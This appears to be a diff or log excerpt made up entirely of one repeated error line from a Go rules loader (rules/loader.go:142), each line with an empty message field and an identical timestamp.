+time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= 